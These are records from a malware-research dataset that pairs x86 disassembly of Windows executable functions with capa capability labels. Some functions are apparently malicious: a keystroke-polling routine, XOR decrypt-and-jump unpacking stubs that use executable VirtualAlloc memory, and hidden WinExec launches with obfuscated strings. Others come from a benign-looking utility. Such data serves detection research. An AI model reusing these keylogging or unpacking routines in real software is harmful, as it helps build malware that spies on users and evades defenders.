joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4036f9
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push 1
call sub.GDI32.dll_CreateSolidBrush
test ax, 0x3fa4
je 0x403719
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [section..data], ebx
xor dword [0x404004], esi
push 0x3cf934
push edx
call sub.GDI32.dll_RestoreDC
nop
or ch, byte [0x404008]
push ebx
call sub.GDI32.dll_DeleteObject
test al, 0x78
jle 0x403741
mov dword [ebp - 4], edi
add dx, bx
mov word [0x40400c], 0
and dword [ebp - 8], 0x378
mov eax, dword [section..data]
neg edx
push 0x5c
call sub.USER32.dll_GetKeyState
sbb eax, dword [ebp - 8]
mov dword [section..data], edx
mov edi, dword [section..data]
push 0x401084
call sub.msvcrt.dll_printf
pop ecx
mov di, word [0x40400c]
push 0x401098
push dword [0x404010]
call sub.USER32.dll_LoadBitmapA
mov dword [section..data], edx
mov dword [section..data], ecx
adc dword [ebp - 8], ecx
call sub.KERNEL32.DLL_GetACP
mov word [ebp - 0xc], 0x314
sub edi, eax
mov edx, dword [0x404014]
call sub.KERNEL32.DLL_GetOEMCP
mov ch, byte [0x404009]
movsx ecx, ah
mov dword [ebp - 0x10], edi
call fcn.0040380d
push 0
push 0
push 0x1d
push 0
push 0x403853
push 0
push 0x404018
call sub.KERNEL32.DLL_CreateTimerQueueTimer
or eax, eax
jne 0x4037ef
push 0
call sub.KERNEL32.DLL_ExitProcess
lea eax, [ebp - 4]
push eax
call sub.GDI32.dll_CreateFontIndirectA
mov cx, word [0x40400e]
push 0xffffffffffffffff
call sub.KERNEL32.DLL_Sleep
leave
ret
Function at 0x403f9f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x403fae
pop dword [ebp - 4]
mov eax, 0x403fae
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x377c8
push 0
mov eax, 0xe8b76fa7
add eax, 0x178900f9
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x10a86c62
add ecx, 0xef57defd
xor esi, esi
add esi, eax
mov edx, 0xcd30360
add edx, 0xf36ddca0
add edx, dword [ebp - 4]
mov ebx, 0xd15574c1
sub ebx, 0x8283ec8f
mov edi, dword [edx]
xor edi, ebx
mov dword [esi], edi
add esi, 0xfbc7289e
sub esi, 0xfbc7289a
add edx, 0x2068a91b
add edx, 0xdf9756e9
loop 0x40400a
add eax, 0x1204f
mov ebx, eax
add eax, 0x14c3eb23
sub eax, 0x14c3eb1e
mov ecx, 0xf7db7826
sub ecx, 0xf79b7826
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408379
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x408388
pop dword [ebp - 0xc]
mov eax, 0x408388
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x36fca
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xe584b909
add ecx, 0x1a7b85f8
mov edx, eax
mov esi, 0xcfcf3121
sub esi, 0xcf8df55d
add esi, dword [ebp - 0xc]
mov ebx, 0x744441ad
xor dword [ebp - 8], ebx
mov edi, dword [esi]
xor dword [ebp - 4], ecx
sub edi, ebx
xor dword [ebp - 8], 0xdb18b048
mov dword [edx], edi
xor dword [ebp - 4], 0xc03a5e17
add edx, 4
add esi, 0x15551a8b
add esi, 0xeaaae579
loop 0x4083d7
add eax, 0x64cee38b
add eax, 0x9b320b4c
xor ebx, ebx
add ebx, eax
add eax, 0x99e0eb76
sub eax, 0x99e0eb71
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Hide graphical window
Query or enumerate registry value
Set file attributes

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
push 0
push 0
mov byte [esp + 0x1b], 0
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
mov esi, dword [sym.imp.USER32.dll_AnyPopup]
mov edi, dword [sym.imp.USER32.dll_EndPaint]
mov ebp, dword [sym.imp.USER32.dll_ReleaseDC]
mov ebx, dword [sym.imp.KERNEL32.DLL_WinExec]
je 0x401063
call esi
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
push str._ujnhbW_I_EYHGF_Q____
call ebx
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
push str.SoftwareSecurity_Tools
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40114e
push eax
push eax
mov byte [esp + 0x20], 0x50
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x4010c6
call esi
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
push str._ujnhbW_I_EYHGF_Q____
call ebx
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov edx, dword [esp + 0x120]
lea ecx, [esp + 0x124]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push 0
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x31], 0x61
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x68
mov byte [esp + 0x34], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401107
mov byte [esp + 0x13], 1
push 0
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x401143
call esi
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
push str._ujnhbW_I_EYHGF_Q____
call ebx
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x4014a1
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push esi
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x4014e6
call dword [sym.imp.USER32.dll_AnyPopup]
push esi
push esi
call dword [sym.imp.USER32.dll_EndPaint]
push esi
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
push str._ujnhbW_I_EYHGF_Q____
call dword [sym.imp.KERNEL32.DLL_WinExec]
push esi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push dword [esp + 8]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
pop esi
ret

Function at 0x4014f5
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x401541
call dword [sym.imp.USER32.dll_AnyPopup]
push esi
push esi
call dword [sym.imp.USER32.dll_EndPaint]
push esi
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
push str._ujnhbW_I_EYHGF_Q____
call dword [sym.imp.KERNEL32.DLL_WinExec]
push esi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00401770
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00401770
add esp, 0x18
push str.CreateProcessA
push str.kernel32.dll
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x54]
push ecx
push esi
push esi
push esi
push 1
push esi
push esi
push dword [ebp + 8]
push esi
call eax
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4015aa
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x104
push 0
mov esi, 0x404060
push esi
call fcn.00401770
push dword [esp + 0x14]
call fcn.004017d0
add esp, 0x10
dec eax
js 0x4015e6
mov ecx, dword [esp + 8]
sub ecx, esi
mov dl, byte [ecx + eax + 0x404060]
xor dl, byte [esp + 0xc]
dec eax
mov byte [eax + 0x404061], dl
jns 0x4015d2
mov eax, esi
pop esi
ret
Function at 0x401610
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor esi, esi
push esi
push 2
mov dword [esp + 0x1c], esi
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push str.Process32Next
push str.kernel32.dll
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp dword [esp + 0x10], 0xffffffff
mov edi, dword [sym.imp.USER32.dll_AnyPopup]
mov ebx, dword [sym.imp.USER32.dll_EndPaint]
mov ebp, dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [esp + 0x18], eax
je 0x4016ef
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.DLL_Process32First
jmp 0x4016e1
push dword [esp + 0x24]
lea eax, [esp + 0x44]
push dword [esp + 0x14c]
push eax
call fcn.004015ea
add esp, 0xc
push esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x4016ce
call edi
push esi
push esi
call ebx
push esi
push esi
call ebp
push esi
push str._ujnhbW_I_EYHGF_Q____
call dword [sym.imp.KERNEL32.DLL_WinExec]
push esi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
cmp dword [esp + 0x14], esi
jne 0x4016e5
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
call dword [esp + 0x20]
test eax, eax
jne 0x40167c
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
push esi
call dword [sym.imp.USER32.dll_BeginPaint]
test eax, eax
je 0x401725
call edi
push esi
push esi
call ebx
push esi
push esi
call ebp
push esi
push str._ujnhbW_I_EYHGF_Q____
call dword [sym.imp.KERNEL32.DLL_WinExec]
push esi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push str.68ujyheTGE_WT_RFW___RTf
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x401b9e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x401bcc
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x401bd3
cmp ebx, dword [eax + 4]
jae 0x401bd3
xor eax, eax
jmp 0x401dc3
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x401be4
xor eax, eax
inc eax
jmp 0x401dc2
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x401bfa
cmp ecx, edx
jae 0x401d3f
cmp dword [eax + 4], 0
je 0x401c03
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x401beb
cmp dword [ebp + 8], 0
je 0x401c25
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x401d3f
cmp eax, esi
jae 0x401d3f
mov eax, dword [0x404168]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x401c4a
cmp dword [esi*4 + 0x404170], edi
je 0x401d43
inc esi
cmp esi, eax
jl 0x401c38
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x401dbf
cmp dword [ebp - 8], 0x1000000
jne 0x401dbf
test byte [ebp - 0xc], 0xcc
je 0x401cc8
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x401dbf
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x401dbf
cmp word [eax + 0x18], 0x10b
jne 0x401dbf
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x401dbf
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x401cc8
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x401cc8
test byte [ecx + 0x27], 0x80
jne 0x401d3f
push 1
push 0x4041b0
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
test eax, eax
jne 0x401bdc
mov ecx, dword [0x404168]
test ecx, ecx
mov edx, ecx
jle 0x401cfc
lea eax, [ecx*4 + 0x40416c]
cmp dword [eax], edi
je 0x401cfc
dec edx
sub eax, 4
test edx, edx
jg 0x401cf0
test edx, edx
jne 0x401d2d
push 0xf
pop ebx
cmp ecx, ebx
jg 0x401d09
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x401d21
lea eax, [edx*4 + 0x404170]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x401d0f
cmp ecx, 0x10
jge 0x401d2d
inc ecx
mov dword [0x404168], ecx
push 0
push 0x4041b0
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
jmp 0x401bdc
xor eax, eax
jmp 0x401dc2
test esi, esi
jle 0x401bdc
mov ebx, dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
push 1
push 0x4041b0
call ebx
test eax, eax
jne 0x401bdc
cmp dword [esi*4 + 0x404170], edi
je 0x401d99
mov eax, dword [0x404168]
lea esi, [eax - 1]
test esi, esi
jl 0x401d87
cmp dword [esi*4 + 0x404170], edi
je 0x401d83
dec esi
jns 0x401d77
test esi, esi
jge 0x401d97
cmp eax, 0x10
jge 0x401d92
inc eax
mov dword [0x404168], eax
lea esi, [eax - 1]
jmp 0x401d99
je 0x401db1
xor ecx, ecx
test esi, esi
jl 0x401db1
lea eax, [ecx*4 + 0x404170]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x401d9f
push 0
push 0x4041b0
call ebx
jmp 0x401bdc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401180
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401287
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
push esi
call fcn.00405c70
add esp, 4
mov edi, eax
lea eax, [ebp - 0x20c]
push edi
push esi
push 0
push eax
call sub.VERSION.dll_GetFileVersionInfoW
push 0x4252c0
push edi
call fcn.004024d0
push 0x4252dc
push edi
mov esi, eax
call fcn.004024d0
push 0x4252f4
push edi
mov ebx, eax
call fcn.004024d0
push 0x425314
push edi
mov dword [ebp - 0x210], eax
call fcn.004024d0
push 0x425334
push edi
mov dword [ebp - 0x214], eax
call fcn.004024d0
add esp, 0x28
mov edi, eax
call fcn.004018c0
push edi
push dword [ebp - 0x214]
push dword [ebp - 0x210]
push ebx
push esi
push str._n_s_v_s____s_n_s_n_s_n_n
test eax, eax
je 0x401265
call fcn.00404eba
add eax, 0x20
push eax
call fcn.004052fa
call fcn.00404eba
add eax, 0x20
jmp 0x40127b
call fcn.00404eba
add eax, 0x40
push eax
call fcn.004052fa
call fcn.00404eba
add eax, 0x40
push eax
call fcn.00405049
add esp, 0x20
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405d02
mov esp, ebp
pop ebp
ret

Function at 0x4012a0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4013a7
push ebx
push esi
push edi
push 0x208
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
push esi
call fcn.00405c70
add esp, 4
mov edi, eax
lea eax, [ebp - 0x20c]
push edi
push esi
push 0
push eax
call sub.VERSION.dll_GetFileVersionInfoW
push 0x4252c0
push edi
call fcn.00402580
push 0x4252dc
push edi
mov esi, eax
call fcn.00402580
push 0x4252f4
push edi
mov ebx, eax
call fcn.00402580
push 0x425314
push edi
mov dword [ebp - 0x210], eax
call fcn.00402580
push 0x425334
push edi
mov dword [ebp - 0x214], eax
call fcn.00402580
add esp, 0x28
mov edi, eax
call fcn.004018c0
push edi
push dword [ebp - 0x214]
push dword [ebp - 0x210]
push ebx
push esi
push str._n_s_v_s____s_n_s_n_s_n_n
test eax, eax
je 0x401385
call fcn.00404eba
add eax, 0x20
push eax
call fcn.004052fa
call fcn.00404eba
add eax, 0x20
jmp 0x40139b
call fcn.00404eba
add eax, 0x40
push eax
call fcn.004052fa
call fcn.00404eba
add eax, 0x40
push eax
call fcn.00405049
add esp, 0x20
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405d02
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x214], 0
push str.SoftwareSysinternals_s
push eax
mov dword [ebp - 0x210], 0
call fcn.00406654
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4016f9
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], 4
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push 0
push str.EulaAccepted
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x210]
xor ecx, ebp
call fcn.00405d02
mov esp, ebp
pop ebp
ret

Function at 0x401780
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0
push eax
push str.SoftwareMicrosoftwindows_ntcurrentversion
xor esi, esi
mov dword [ebp - 0x214], 0x208
push 0x80000002
mov dword [ebp - 0x218], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x401820
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x218]
push eax
push esi
push 0x42b5ac
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401814
lea eax, [ebp - 0x20c]
push eax
push str.iotuap
call fcn.00405ac5
add esp, 8
mov ecx, 1
test eax, eax
cmove esi, ecx
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00405d02
mov esp, ebp
pop ebp
ret

Function at 0x401840
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push str.SoftwareMicrosoftWindows_NTCurrentVersionServerServerLevels
xor esi, esi
mov dword [ebp - 0xc], 0
push 0x80000002
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x4018b2
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.NanoServer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4018a9
cmp dword [ebp - 8], 4
jne 0x4018a9
mov eax, 1
cmp dword [ebp - 0xc], eax
cmove esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401c20
Capabilities:
Terminate process

Disassembly:
push dword [0x4330c4]
push 0x42b68c
call fcn.00406591
push str.This_is_the_first_run_of_this_program._You_must_accept_EULA_to_continue._n
call fcn.00406591
push str.Use__accepteula_to_accept_EULA._n_n
call fcn.00406591
add esp, 0x10
push 1
call fcn.004062de
int3
Function at 0x402850
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
test eax, eax
jne 0x4028a0
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call fcn.00402900
add esp, 8
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405d02
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
jmp 0x4028b0
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.00402900
mov eax, dword [edi + esi*4 + 4]
lea esi, [esi + 1]
add esp, 8
test eax, eax
jne 0x4028b0
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.00405d02
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Terminate process

Disassembly:
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jae 0x40321d
push str.NtFsControlFile
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4352a8], eax
test eax, eax
je 0x40321e
push str.RtlNtStatusToDosError
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4352a4], eax
test eax, eax
je 0x403232
ret
push str._nCould_not_find_NtFsControlFile_entry_point_in_NTDLL.DLL_n
call fcn.004064e2
add esp, 4
push 1
call fcn.004062de
push str._nCould_not_find_RtlNtStatusToDosError_entry_point_in_NTDLL.DLL_n
call fcn.004064e2
add esp, 4
push 1
call fcn.004062de
int3

Function at 0x403250
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0xc]
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push eax
lea eax, [ebp - 8]
push eax
push edi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceW]
test eax, eax
jne 0x4032c4
push str._nCould_not_determine_disk_cluster_size:
call fcn.004064e2
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0x400
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageW]
push dword [ebp - 4]
push str._n_s_n
call fcn.004064e2
add esp, 8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push str.GetDiskFreeSpaceExW
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x43529c], eax
test eax, eax
jne 0x40330c
mov eax, dword [ebx]
imul eax, dword [edi]
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x18]
imul eax, dword [ebp - 8]
mov dword [edx + 4], 0
mov dword [edx], eax
mov dword [ecx], eax
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 0x18]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 0x14]
push dword [ebp + 8]
call eax
test eax, eax
jne 0x403304
push str._nCould_not_determine_amount_of_free_space:
call fcn.004064e2
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.004034f0
add esp, 4
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403350
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x433368]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
mov dword [ebp - 0x214], ebx
sub edx, edi
jmp 0x403380
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x403380
push 0x5c
push ebx
call fcn.00407403
mov edx, eax
lea esi, [ebp - 0x20c]
sub edx, ebx
add esp, 8
sar edx, 1
mov ecx, edi
shr edx, 1
sub esi, edi
lea ecx, [ecx]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [esi + ecx - 2], ax
test ax, ax
jne 0x4033b0
lea ecx, [edx + 1]
xor ebx, ebx
mov dword [ebp - 0x210], ecx
jmp 0x4033d0
mov edx, ecx
mov ecx, edi
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4033d7
sub ecx, esi
sar ecx, 1
cmp edx, ecx
jae 0x403438
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x20c]
mov edi, ecx
sub edi, eax
jmp 0x403400
lea eax, [edi + edx*2]
cmp word [ebp + eax - 0x20c], 0x2e
je 0x403419
lea eax, [ebx + 0x41]
mov word [ebp + edx*2 - 0x20c], ax
mov eax, ecx
inc edx
lea esi, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403420
mov ecx, dword [ebp + 8]
sub eax, esi
sar eax, 1
cmp edx, eax
jb 0x403400
mov edi, ecx
mov esi, dword [ebp - 0x214]
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
test eax, eax
je 0x403480
lea ecx, [ebp - 0x20c]
mov edx, esi
mov eax, ecx
sub edx, eax
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x403460
mov ecx, dword [ebp - 0x210]
inc ebx
cmp ebx, 0x1a
jb 0x4033d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405d02
mov esp, ebp
pop ebp
ret